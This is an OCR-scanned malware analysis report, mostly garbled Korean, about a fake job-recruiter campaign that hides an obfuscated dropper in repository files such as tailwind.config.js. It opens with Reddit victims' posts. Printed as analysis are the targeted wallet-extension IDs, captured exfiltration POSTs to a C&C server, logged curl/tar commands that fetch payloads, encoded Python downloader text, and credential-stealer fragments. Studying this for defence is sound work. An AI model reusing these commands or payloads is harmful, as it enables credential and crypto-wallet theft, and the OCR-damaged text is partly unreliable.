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© Reddit Off S2t2 siZ A= AlHIS

| found some malicious code in a GitHub repo and would like to better understand the attack

vectar.
-3 . . .

| applied for a job and the poster asked me to download their NodelS repo, run the code and
- complete a coding exercise.

The code in question is after the last line below, hidden off to the right: 'imageDetails.js’

const mongoose = require(“mongoose”);

const ImageDetailsScehma = new mongoose.Schema(

1
image:String

IE

1

collection: "ImageDetails"”,

¥

3.
A3

mongoose.model("ImageDetails”, ImageDetailsScehma);

The code is obfuscated and minified so it's a little hard to read. Can anyone work out what the
code is doing?

Here's the unminified version of the suspicious code:

Object.prototype.toString, Object.getOwnPropertyDescriptor, Object.defineProperty;
const t = "basefd”™,
c = "utfs",

f gy

[Atel 1]

Ran a script with this hidden scam code..what exactly does it do?

| got a message from a "recruiter” on LinkedIn for a React/blockchain dev role. The first step was to
fix a couple issues in a repository they linked, a MERN application. The following code appeared
hidden in one of the router files on the backend. | ran it when | was not connected to the internet.
Just want to know exactly what it does so | can take the necessary next steps to protect myself.

Object.prototype.toString,
Object.defineProperty,
Object.getOwnPropertyDescriptor;

const t = "bases4”,
c = "utfg",

_ _ : LT
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1. tailwind.config.js

(MDS5 : 05D4F890C5583EFC491A6B4E4534A0DE, SIZE : 11,605)

e ¢ 2EeM SE ZRIWoZ MA|E JMMHH XUS T3 S Python AMAES
2X|
ViRobot JS.S.Dropper.11605

(1) “tailwind.config.js” Tt 2 2024 2 6 & 17 Y0 “free_dapp_mvp” O|Z2| Bitbucket
repository O =2 ESHCt.

O Bitbucket @ O
B 5
. o
B o 5061
[ }1
a B o1
I e B e
h v B 306-1
o B s .-t
& B
+ B e
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B B
B ow
Bitbucket F& : https://bitbucket.org/free_dapp2/free_dapp_mvp/src/mvp/
(12 1] YA EIF ZEE Bitbucket
284 Y= Eo|7| Q3 A Bm S0 IS WOl E2 Chg M=z XY d9IES
ot 22 AYSAUL
tailwi nd‘config‘js Pull requests  Check out
Source ¥ b mvp ¥ ¢ 899707a Full commit
D free_dapp_mvp / tailwind.config.js |_|:|
1 Object_prototype_toString,Object_geﬂh
[A8 2] 8As2 AERE
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(3) 2 & "tailwind.confjs” LtA2 F EeteX &g Z2I™Mo 2 X & 7tdstd XYS
g$r = C&C MHZ H&otet

a < 2008; at+

(A 3] 7hdety X|Z &3 2= 27

&% =21 ID X% ol&
fhbohimaelbohpjbbldcngcnapndodjp Binance Wallet
aeachknmefphepccionboohckonoeemg Coin98 Wallet
hnfanknocfeofbddgcijnmhnfnkdnaad CoinBase Wallet
hifafgmccdpekplomjjkcfgodnhcellj Crypto.com Wallet
nkbihfbeogaeaoehlefnkodbefgpgknn MetaMask (Chrome)
ejbalbakoplchlghecdalmeeeajnimhm MetaMask (Edge)
bfnaelmomeimhlpmgjnjophhpkkoljpa Phantom Wallet
fnjhmkhhmkbjkkabndcnnogagogbneec Ronin Wallet
ibnejdfjmmkpcnlpebklmnkoeoihofec TRON Link Wallet

(& 1] 7ty XY &5 55

@) E7E 7reety XUE2 dYE PC 0|1 & C&C Mz HSEC

® C&C MH : hxxp:// 23.106.253.209:1244/uploads

POST /uploads HTTP/1.1

host: 23.186.253.209:1244

content-type: Nultipart/fnrn'data; hnundar‘y: """""""""""""""" 467782506242418658850832
content-length: 53428

Connection: keep-alive

---------------------------- 467782506242410658550032

Content-Disposition: form-data; name="timestamp” TimeStamp

1719392788996

---------------------------- 467782506242410658550032

Content-Dispasition: form-data; name="type ZHH[ Q! D

empz000

---------------------------- 4677825P6242410658550032

Content-Disposition: form-data; name="hid" =
PCOI&

rrrrrrrrrrrrrrrrrrrrrrrrrrrr 467782586242418658850032
Content-Disposition: form-data; name="multi_file"; filename="0__ibnejdfjmkpcnlpebklmnkoeoihofec_ae@ees.log”

Content-Type: text/plain ZHakste| x| 2
e ey ——— =
=S=S—- = = —Tm oW e =
(18 4]
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(5) O|= Python 22 TH=0{T AHIAESS HYHS7| 8 curl BHOE AL C&C
MBE{0|M Python 311 HE S CtR2ZE 20t} tar HHOE A& "%Userprofile%.pyp”
F20| &= SiASICE (% Linux, MacOS & Home ClHEZ|0 3 SiX E)

® Python CHREE FA : hxxp:// 23.106.253.209:1244/pdown

= (9 nodeexe (2172) node run,js
= g ol =e (12260) CpwWindowsWsystem3s¥omd,exe /d f2 Ao "curl Lo "CiWlsersWMALW AR~ 19 AppDatattlocalWTempip,2i” “hitp://23,108,253,208:1244/pdown ™
& curlexe (11328) curl -Lo "CriUsersthd ALW AR~14AppDatatlocalWTempWp,2i" "hitp://23,106,253,209:1244/pdown”
[ g omd.exe (13304) CHWindowsWsystem3Z¥omd,.exe fd Sz Ao "tar —xf CowUsersWMALW AR~1W AppDatat¥localW Tempip2.zip -C CWlsersWhalwaresnalysis”
4 tarexe (14424) tar —xf C¥lsersWhALWAR~-1% AppDataLocal®Temp¥p2.zip -C C¥ Uz ersWMalware dnaly sis

[18 5] Python CHRZE Z 2= oA
(6) Python 22 Bt=0{Xl Y MHMIAEE CC AMHOAM CHREE 20I2}t “%UserProfile%W.npl”

o
e [I2=

GET /client/empz0Q0 HTTP/1.1]
host: 23.106.253.209:1244

Connection: keep-alivel

HTTP/1.1 200 Of

[X-Powered-By: Express|
Content-Disposition: attachment; filename="main_empz0Q0.py"|
[Accept-Ranges: bytes|
Cache-Control: public, max-age=6)
Last-Modified: Mon, 24 Jun 2024 20:59:19 GM
ETag: V/"923-1904cBbc9ba”
Content-Type: application/octet-strea
Content-Length: 2339
Date: Tue, 25 Jun 2824 01:58:25 GM
Connection: keep-alivel
Keep-Alive: timeout=5|

t="G1mY"+"ksYL"+"TQUAKQQBLWw1DR48XUd1PCsNGTBEATRgKBIBKhARKT40DwgqGFBqNTRMGS sSSTARNWMTLUSBPDOY CRATGHKBNCQIHSIRACWUNX4C0g4AKmIKBAg6ACWELSSARQIYCipi ThQIOn4HOCArCUF

F408a2tMSikCA35g7@sENxgHOCArSBFSTAESPTIJH1BYVARL FAUAKQQB Lbiw]CRwsDgAtP@1mAL 1L Tnk8KwOZ PwQBNGTBFRAtDh5xZUBEA]QOU2R sKBIDKQoHMWI i FB@4BRcsPy TeRXsVUXBGLwMel VZREHBKFVkg]
cQoGICwm] xh+CwZPUwMcKjh2TFBSCRIQKXFYQztdRz@pJAMIPEMbN 8 2zN1xpUS55Z2c EA1 0fKGN9dzFEdwBWOiMjCUMWYRSs2PzNe TWR L FX4kMxgd YBRcIiQoHx1oFklofnNYS1MbF31xZuMedxsSLSRpBgTwBYs:
0JQX1IXTd+ZUVnOBtTZGw3CELyS1F2PCYVTIMPF 95 TwMahwe cOCgYHAwgBxwaKGIFVINLU31sL gphNhhdKS@zBEMBExoqODREDC1CSVNsZ@xNeUtTeTglFVc2GF@rkSoDGzxDEI11TUxNelUt TekixnCRUEDgMED.

/KCsZHC M0k 7L BkdeRg1GOhTS1NSbDMeFGNhU31s78xNeUsaP2wpAx158AB3PCYYBXcOCzA/MxIFKQIaYyMBQeA4ABYI I TUFRSkPIWINSZ8xNPBMOPDwzVh@4GABTRmdMTXk FASE2TUxNeUt TebbnDOx5VIMrKTY:

[18 6] .npl Tt CIRZE
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2. .npl
(MD5 : 4B473DD7F3E432F4EB10CB4E7BA85A98, SIZE : 2,339)

>
0%

i : Python 22 THEO{%l Backdoor @t HE &3 AMHIEE CHREE 2ot}

ViRobot Python.S.Downloader.2339

AHEA

(1) Python 22 BtL=0{Fl AHALE “npl” LY L22E ZEE E33 F exec FTE

2SI

t[:8];sl=1en(d);rr=""
chr(d[i]*ord(sk[k]));rr+=c

(38 7] .npl

HHE FE= CAC MH A Backdoor FHAER} HE EF AYIEE

download payload():
if os.path.exists(ap):

.makedirs(pd)

REATE_NO_WINDOW | su < .CREATE_NEW_PROCESS_GROUP)

ap = pd + "/
anload_brow
-path

.makedirs(pd)

, allow redirects=
content)

CI22E F2 MY 3=
hxxp:// 23.106.253.209:1244/brow/empzOQO Windows : %Userprofile%W#.n2#tbow
(3 =H) Linux, MacOS : {home}#.n2¥bow
hxxp:// 23.106.253.209:1244/payload/empzOQ0O Windows : %Userprofile%W.n2Wpay
(Backdoor) Linux, MacOS : {home}W.n2Wpay

[ 2] =7} 4dH3AE CREE HE

HAURI I[O|X| 7 /12




3. bow

(MDS5 : 1TF5BDE988SFEE6FE37092A0EFF5C4B479, SIZE : 23,122)

e - 2y pcol W Hetexiol MEE 219l B, AgIE HEE o3

Python.S.Infosteal.23122

HAURI

elf.browser_web_path

in(temp_path,
le(web_path, filename)

connect(filename)

(row[3], key)

self.decrypt_unix_password(row

card_number

if card_number == "" self.blank_passwc

-append(dict(name_on_card=row[8],expiration_month=row[1],expiration_year=row[2],card_numb:

(03 10] & 22te Mo MY A87IE HE +3

ard_number,date_modified=row[4
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3. pay
(MD5 : 09297DBE3CC2CDF2A9F051E2D4EA9948, SIZE : 34,418)

=

fo

N

0

U

(@)

1o

o 02
HT

[

g Zor AAAJ,

.json()

O|FIt Z2 Y=E FA0 MEsiCh

= o
=1 — =]
o THH ME FA : hxxp// 23.106.253.209:1244/keys

ion().get_info()

nt(time.time()*10€0);C

run_comm({ )
run_comm( )

HAURI

-sys_info)};D A.ip}:{A.port}/k
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3) O|= Backdoor Q| C&C MHQlL 42 A|ZSIH,
® C&C MH :173.211.106.101:1245

se64.b64decode(host[16:] + host[:18]).decode()

.server_port = PORT@;A.is_active = _F;A.is_alive = _T;A.timeout_count = @;A.shell = _N

[ e =
UA ECH
33 AL
1 CMD 3 MM = A g2e
(ssh_obj)
’ A 2
(ssh_cmd)
3 JIEY Y2
(ssh_clip)
Y HF 4MHIE AHIE [IREE = HH
4
N (CIREE FA& : hxxp//
sh_run
(ssh_run) 23.106.253.209:1244/brow/empz0QO)
5 oY Etx = FTP AHO| Y2E
(ssh_upload) (FTP MY FAE= C&C AHON HEF)
6 "
. Y H2t2X Chrome, Brave 2 T=&
(ssh_kill)
. -?—,_J74I‘||0'| EE:LEH AnyDeskE MX|
o \ (CHRRE F2A : hxxp://
(ssh_any 23.106.253.209:1244/adc/empz0QO)
Ed EMH W EMsts MLSS FTP MHE
8 2L
(ssh_env) Windows : Wi 2A, Ct2EE EC
Linux, Mac : /home, /NVolume 03

o

[# 3] 88 =5
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10C

hxxps://bitbucket.org/free_dapp2/free_dapp_mvp/src/mvp/
hxxp://23.106.253.209:1244/

173.211.106.101:1245
05D4F890C5583EFC491A6B4E4534A0DE (tailwind.config.js)
4B473DD7F3E432F4EBT10CB4E7BA85A98 (.npl)
TF5BDE988FEE6FE37092A0EFF5C4B479 (bow)
09297DBE3CC2CDF2A9F051E2D4EA9948 (pay)
EEC85DE2D612684162D5D1399C53B79B (adc)
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